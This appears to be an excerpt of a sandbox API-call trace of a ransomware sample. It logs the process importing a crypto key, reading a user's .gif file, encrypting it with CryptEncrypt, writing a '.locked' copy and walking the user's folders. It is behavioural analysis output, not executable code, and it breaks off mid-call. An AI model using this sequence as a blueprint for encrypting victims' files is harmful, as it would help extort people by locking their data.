(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.855] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.855] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0136.856] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.856] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.856] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.856] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.856] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.856] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.856] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.856] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.856] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.856] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.857] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.857] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.857] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.857] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.857] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.857] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0136.858] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e027a0) returned 1 [0136.859] CryptImportKey (in: hProv=0x8e027a0, pbData=0x69714cc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84c38) returned 1 [0136.859] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.859] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.859] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.859] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.859] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.859] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif")) returned 0x20 [0136.860] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif")) returned 0x20 [0136.860] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.860] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.860] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.860] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.860] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.860] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.860] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.860] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.860] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.863] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.863] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0136.864] GetFileType (hFile=0x764) returned 0x1 [0136.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.864] GetFileType (hFile=0x764) returned 0x1 [0136.864] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.864] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0136.864] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.864] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.864] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.865] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked", lpFilePart=0x0) returned 0x4a [0136.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.865] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0136.865] GetFileType (hFile=0x778) returned 0x1 [0136.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.865] GetFileType (hFile=0x778) returned 0x1 [0136.865] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.866] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x6989d38 | out: pbBuffer=0x6989d38) returned 1 [0136.866] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.866] CryptDuplicateKey (in: hKey=0x8e84c38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e849f8) returned 1 [0136.866] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.866] CryptSetKeyParam (hKey=0x8e849f8, dwParam=0x4, pbData=0x698aff4*=0x1, dwFlags=0x0) returned 1 [0136.866] CryptSetKeyParam (hKey=0x8e849f8, dwParam=0x1, pbData=0x698afc0, dwFlags=0x0) returned 1 [0136.866] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xfc10\x437\x24a") returned 0x0 [0136.866] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.866] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.866] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.867] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.867] ReadFile (in: hFile=0x764, lpBuffer=0x698e618, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x698e618*, lpNumberOfBytesRead=0x99ae7a8*=0x302b, lpOverlapped=0x0) returned 1 [0136.867] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69a2624*, pdwDataLen=0x99ae79c*=0x3020, dwBufLen=0x3020 | out: pbData=0x69a2624*, pdwDataLen=0x99ae79c*=0x3020) returned 1 [0136.867] WriteFile (in: hFile=0x778, lpBuffer=0x6989df8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6989df8*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0136.868] WriteFile (in: hFile=0x778, lpBuffer=0x69a3610*, nNumberOfBytesToWrite=0x2034, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69a3610*, lpNumberOfBytesWritten=0x99ae780*=0x2034, lpOverlapped=0x0) returned 1 [0136.869] ReadFile (in: hFile=0x764, lpBuffer=0x698e618, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x698e618*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0136.869] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69a5668*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69a5668*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0136.869] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69a569c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69a569c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0136.869] WriteFile (in: hFile=0x778, lpBuffer=0x6989df8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6989df8*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0136.869] CloseHandle (hObject=0x778) returned 1 [0136.871] CloseHandle (hObject=0x764) returned 1 [0136.871] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.871] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.871] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.871] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.871] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.873] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif")) returned 0x20 [0136.873] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.873] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.874] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.874] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.874] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.874] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.874] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.874] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.874] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.874] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.874] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.874] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.874] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.875] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.875] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.875] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.875] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.875] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.875] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.875] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.875] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.875] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif")) returned 0x20 [0136.875] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.875] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: 